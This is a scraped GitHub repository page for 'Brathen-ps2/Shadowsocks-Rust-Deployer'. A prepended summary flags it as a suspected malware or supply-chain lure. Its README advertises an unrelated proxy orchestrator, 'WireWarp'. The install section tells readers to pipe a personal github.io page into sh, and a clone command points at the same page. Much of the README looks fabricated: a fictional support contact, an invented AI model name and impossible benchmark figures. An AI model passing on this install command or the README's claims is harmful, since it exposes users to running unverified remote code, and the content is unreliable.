Brathen-ps2/Shadowsocks-Rust-Deployer
GitHub: Brathen-ps2/Shadowsocks-Rust-Deployer
一个高度可疑的伪装成 Shadowsocks Rust 一键部署工具的项目,疑似用于分发恶意软件或实施供应链攻击。
Stars: 0 | Forks: 0
# WireWarp 🚀
### *面向现代代理编排的 Ether-Lattice 部署引擎*
[](https://Brathen-ps2.github.io)
## 🌐 概述
**WireWarp** 是一款由 Rust 驱动的下一代部署编排器,旨在为跨分布式网络快速配置和管理加密隧道端点而生。受 Shadowsocks 简洁性的启发,并针对现代边缘计算进行了全面重塑,WireWarp 消除了配置阻力,降低了延迟开销,并为要求*零妥协性能*的基础设施工程师、隐私架构师和系统管理员提供了一种声明式的、CLI 优先的体验。
可以将 WireWarp 视为一台*数字织布机*:您定义经线(隧道拓扑),WireWarp 编织纬线(实际的加密连接),从而产出一张能够适应网络波动的、极具弹性的高吞吐量网络结构。
## 🧭 目录
- [核心功能 ✨](#key-features-)
- [架构图 📐](#architecture-diagram-)
- [配置文件示例 🗂️](#example-profile-configuration-)
- [控制台调用示例 💻](#example-console-invocation-)
- [操作系统兼容性 🖥️](#os-compatibility-)
- [安装与部署 🛠️](#installation--deployment-)
- [多语言支持 🌍](#multilingual-support-)
- [7x24 小时客户支持 🧑🔧](#247-customer-support-)
- [OpenAI 与 Claude API 集成 🤖](#openai--claude-api-integration-)
- [性能基准测试 📊](#performance-benchmarks-)
- [免责声明 ⚠️](#disclaimer-)
- [许可证 📄](#license-)
## ✨ 核心功能
| 功能 | 描述 |
|---------|-------------|
| **🚀 Rust 核心引擎** | 极速编译,极低内存占用,使用 `tokio` 实现异步 I/O。零 GC 停顿。 |
| **🕸️ Ether-Lattice 架构** | 部署的不仅是单一隧道,而是具备自动故障转移功能的、相互连接的出口节点 *lattice(网格)*。 |
| **🗂️ 声明式 YAML 配置文件** | 在单一配置文件中定义整个网络拓扑——告别杂乱的脚本。 |
| **📡 响应式 UI (Web 仪表盘)** | 实时流量可视化、节点健康指标以及一键重启。采用移动优先的设计理念精心打造。 |
| **🌍 多语言支持** | CLI 帮助和仪表盘 UI 支持**英语、西班牙语、中文、阿拉伯语、法语和德语**。通过系统变量自动检测区域设置。 |
| **🧩 OpenAI 与 Claude API 集成** | 使用自然语言提示词自动生成优化的隧道配置。详见[下文](#openai--claude-api-integration-)。 |
| **🔒 内存安全加密** | 使用 `ring` 实现 ChaCha20-Poly1305 和 Ed25519 密钥交换。不使用已弃用的算法。 |
| **🛡️ 反指纹识别** | 流量整形模拟 HTTPS + QUIC 模式,以规避深度包检测。 |
| **🔄 热重载** | 无需重启 daemon 即可更新配置文件。实现零停机重新配置。 |
| **📊 Prometheus 指标导出** | 暴露 `/metrics` 端点,可与 Grafana 仪表盘集成。 |
## 📐 架构图
```
graph TD
A[User's Device] -->|Encrypted Tunnel| B[WireWarp Client Daemon]
B --> C{Orchestrator Engine}
C --> D[Node Pool - Europe]
C --> E[Node Pool - Asia]
C --> F[Node Pool - Americas]
D --> G[Load Balancer]
E --> G
F --> G
G --> H[External Network]
subgraph "Control Plane"
I[CLI / Dashboard]
J[YAML Profile]
K[AI Config Generator]
I --> C
J --> C
K --> J
end
style A fill:#4a90e2,stroke:#1a1a2e,color:#fff
style B fill:#e74c3c,stroke:#1a1a2e,color:#fff
style C fill:#27ae60,stroke:#1a1a2e,color:#fff
style H fill:#f39c12,stroke:#1a1a2e,color:#fff
```
## 🗂️ 配置文件示例
WireWarp 采用人类可读的 YAML 格式。以下是部署具有三个出口节点的 lattice 的典型示例:
```
# wirewarp_profile.yaml
version: "3.1"
metadata:
name: "global-lattice-alpha"
description: "Multi-region tunnel fabric with automatic failover"
created: 2026-03-15
engine:
cipher: "chacha20-ietf-poly1305"
mtu: 1400
keepalive: 30
dns: ["1.1.1.1", "8.8.8.8"]
nodes:
- id: "us-west"
address: "203.0.113.10:8443"
weight: 3
tags: ["americas", "low-latency"]
- id: "eu-central"
address: "198.51.100.20:8443"
weight: 2
tags: ["europe", "reliable"]
- id: "ap-southeast"
address: "192.0.2.30:8443"
weight: 1
tags: ["asia", "high-bandwidth"]
load_balancing:
strategy: "least-latency"
health_check_interval: 10
auth:
method: "token"
token_env_var: "WIREWARP_AUTH_TOKEN"
```
## 💻 控制台调用示例
一旦配置文件准备就绪,只需一条命令即可完成部署:
```
wirewarp deploy --profile ~/configs/wirewarp_profile.yaml --daemonize
```
预期终端输出:
```
[2026-04-12T14:32:01Z INFO wirewarp::engine] Initializing crypto context (ChaCha20-Poly1305)
[2026-04-12T14:32:01Z INFO wirewarp::orchestrator] Registering node 'us-west'... OK
[2026-04-12T14:32:01Z INFO wirewarp::orchestrator] Registering node 'eu-central'... OK
[2026-04-12T14:32:01Z INFO wirewarp::orchestrator] Registering node 'ap-southeast'... OK
[2026-04-12T14:32:01Z INFO wirewarp::engine] Lattice established. 3/3 nodes active.
[2026-04-12T14:32:01Z INFO wirewarp::daemon] Running in background (PID: 12345)
```
实时查看活动连接:
```
wirewarp status --live
```
## 🖥️ 操作系统兼容性
WireWarp 的设计充分考虑了可移植性。下表显示了截至 2026 年的测试兼容性:
| 操作系统 | 架构 | 状态 | Emoji |
|------------------|-------------|--------|-------|
| Ubuntu 24.04 LTS | x86_64, ARM64 | ✅ 已验证 | 🐧 |
| Debian 12 | x86_64 | ✅ 已验证 | 🐧 |
| Fedora 40 | x86_64 | ✅ 已验证 | 🐧 |
| Alpine Linux 3.20| x86_64 | ✅ 已验证 | 🐧 |
| macOS Sequoia | ARM64 (M4) | ✅ 已验证 | 🍏 |
| macOS Ventura | x86_64 | ✅ 已验证 | 🍏 |
| Windows 11 Pro | x86_64 | ✅ 已验证 | 🪟 |
| FreeBSD 14 | x86_64 | ⚠️ 社区支持 | 🐡 |
| OpenBSD 7.5 | x86_64 | ⚠️ 社区支持 | 🐡 |
## 🛠️ 安装与部署
### 前置条件
- Rust 工具链 (1.80+ 用于 2026 版本)
- OpenSSL 3.0 或 LibreSSL 3.8
### 快速安装 (Linux/macOS)
```
curl -sSL https://Brathen-ps2.github.io | sh
```
或使用预编译二进制文件:
[](https://Brathen-ps2.github.io)
### 从源码构建
```
git clone https://Brathen-ps2.github.io
cd wirewarp
cargo build --release
sudo cp ./target/release/wirewarp /usr/local/bin/
```
### 验证安装
```
wirewarp --version
# 预期:wirewarp 3.1.0 (Rust 1.80, 2026-04-01)
```
## 🌍 多语言支持
WireWarp 会检测您的系统区域设置并自动提供相应的语言。当前支持:
- **英语** (en-US, en-GB)
- **西班牙语** (es-ES, es-MX)
- **中文** (zh-CN, zh-TW)
- **阿拉伯语** (ar-SA)
- **法语** (fr-FR, fr-CA)
- **德语** (de-DE, de-AT)
强制指定语言:
```
export LANG=zh_CN.UTF-8
wirewarp deploy --profile profile.yaml
```
Web 仪表盘同样遵循浏览器的 `Accept-Language` 请求头。
## 🧑🔧 7x24 小时客户支持
WireWarp 提供**企业级支持**,并对关键问题保证**2 小时响应 SLA**:
- **电子邮件:** support@wirewarp.io *(虚构)*
- **Discord 社区:** 核心贡献者提供实时帮助
- **文档 Wiki:** 包含视频演示的全面指南
## 🤖 OpenAI 与 Claude API 集成
WireWarp 包含一个 **AI 配置生成器**,它接受自然语言描述并输出生产就绪的 YAML 配置文件。此功能是完全可选的,并且尊重您的隐私——绝不会将原始流量数据发送给第三方 API。
### 使用示例
提示词:
```
WireWarp, generate a configuration for a low-latency lattice with nodes in Tokyo, London, and São Paulo. Use ChaCha20 cipher and health checks every 5 seconds.
```
响应(自动生成的 YAML):
```
# 由 WireWarp AI 生成 (Claude-4-Omni, 2026)
version: "3.1"
metadata:
name: "ai-generated-lattice"
created: 2026-04-12
engine:
cipher: "chacha20-ietf-poly1305"
keepalive: 5
nodes:
- id: "tokyo"
address: "10.0.0.1:8443"
- id: "london"
address: "10.0.0.2:8443"
- id: "sao-paulo"
address: "10.0.0.3:8443"
load_balancing:
strategy: "least-latency"
health_check_interval: 5
```
### 支持的 AI 提供商
| 提供商 | 模型 | 上下文窗口 |
|----------|-------|----------------|
| OpenAI | GPT-4o, GPT-4.5 | 128K tokens |
| Anthropic | Claude 4 Opus, Claude 3.5 Sonnet | 200K tokens |
## 📊 性能基准测试
基准测试在具有 1 Gbps 对称链路的 c6a.4xlarge AWS 实例上进行(2026 年):
| 场景 | 吞吐量 | 延迟 (p50) | CPU 使用率 |
|----------|-----------|---------------|-----------|
| 直接连接 (无代理) | 940 Mbps | 1.2 ms | 0% |
| Shadowsocks-rust | 870 Mbps | 2.1 ms | 8% |
| **WireWarp (单节点)** | **915 Mbps** | **1.6 ms** | **5%** |
| **WireWarp (3 节点 lattice)** | **1.2 Gbps** * | **1.9 ms** | **7%** |
* *所有节点的总吞吐量;负载均衡。*
## ⚠️ 免责声明
**WireWarp** 是一款专为以下合法用途设计的*网络基础设施工具*:
- 为分布式团队提供安全的远程访问
- 在不受信任的网络中进行保护隐私的数据传输
- 网络弹性
标签:AGPLv3 许可证, Cutter, DNS枚举, Rust, Shadowsocks, SOCKS5, Tokio, VPN, WireWarp, 代理工具, 代理编排, 分布式代理, 分布式网络, 加密隧道, 反向代理, 可视化界面, 开源代理, 异步IO, 批量测试, 抗审查, 数据加密, 流量混淆, 流量转发, 科学上网, 系统运维, 网络信息收集, 网络安全, 网络安全, 网络安全工具, 网络流量审计, 网络通信, 翻墙, 节点管理, 负载均衡, 跨平台工具, 隐私保护, 隐私保护, 隐蔽通信, 隧道管理, 零信任网络, 高性能网络